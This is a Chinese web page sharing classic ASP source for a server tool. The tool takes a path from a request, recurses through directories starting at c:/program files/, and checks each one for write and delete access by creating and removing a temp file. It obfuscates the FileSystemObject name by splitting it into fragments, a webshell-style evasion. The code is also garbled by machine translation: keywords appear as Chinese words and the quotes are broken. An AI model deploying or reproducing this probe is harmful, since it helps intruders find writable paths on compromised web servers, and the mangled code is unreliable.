效果圖:
複製代碼代碼如下:
<%
'wonspons.buffer = false
Server.ScriptTimeOut = 999999999
設置FSO = Server.CreateObject(“ SCR”和“ IPT”&“ ING”&“”。“&”&“ fil”&“ esy”&“ ste”&“ sTE”&“ mob”&“ jec”&“ jec”&“ t”)
%>
<%
spath =替換(請求(“ spath”),“/”,“/”)
showpath =“”
如果spath =“”然後
showpath =“ c:/program文件/”
別的
showpath = spath
如果結束
%>
<form name =“ form1” method =“ post” action =“”>
<Label> <br>
</label>
<Label> </label>
<表>
<tr>
<td> <strong>路徑:</strong>
<輸入名稱=“ spath” type =“ text” id =“ spath” value =“ <%= showpath%>”>
<input type =“ sumbr” name =“ button” id =“ button” value =“提交” />可以讀可以讀< /td> < /td>
</tr>
</table>
</form>
<%
DIM I1:I1 = 0
如果Spath <>“”然後
致電Bianli(Spath)
如果結束
設置FSO =什麼都沒有
%>
<%
函數checkdirisokwrite(dirstr)
下一個錯誤簡歷
fso.CreateTextFile(dirstr&“/temp.tmp”)
如果err.number <> 0,則
err.clear()
響應。 write“ <font color =紅色> </font>”
checkdirisokwrite = 0
別的
響應。 write“ <font color = green> <b> </b> </font>”
checkdirisokwrite = 1
如果結束
結束功能
功能checkdirisokdel(dirstr)
下一個錯誤簡歷
fso.deletefile(dirstr&“/temp.tmp”)
如果err.number <> 0,則
err.clear()
響應。 write“ <font color =紅色> </font>”
別的
響應。 write“ <font color = green> <b> </b> </font>”
如果結束
結束功能
功能撰寫空間(NUNSTR)
對於IU = 0到Nunstr
響應。寫入“”
下一個
結束功能
功能bianli(路徑)
下一個錯誤簡歷
I1 = I1+1
設置objfolder = fso.getFolder(路徑)
設置objsubfolders = objfolder.subfolders
DIM T1:T1 = 1
writespace(i1)
響應。寫路徑
subfcount = objsubfolders.count
如果err.number <> 0,則
subfcount = -1
err.clear()
如果結束
如果子量> -1,則
響應。 write“ <font color = green> </font>”
別的
響應。 write“ <font color =紅色> </font>”
如果結束
如果子量> -1,則
iswrite = checkdirisokwrite(路徑)
如果iswrite = 1,則checkdirisokdel(路徑)
對於objsubfolders中的每個objsubfolder
'wrespy.write“ <br>(“&t1&”/“&objsubfolders.count&”)/<b>“&i1&” </b>“&vbcrlf”
響應。寫入“ <br>”&vbcrlf
now path =路徑 +“/” + objsubfolder.name
設置objfolder =什麼都沒有
設置objsubfolders =什麼都沒有
致電Bianli(NowPath)'遞歸
I1 = I1-1
T1 = T1+1
下一個
如果結束
結束功能
%>
另外錯新站長站提供一份源碼下載//www.vevb.com/codes/39929.html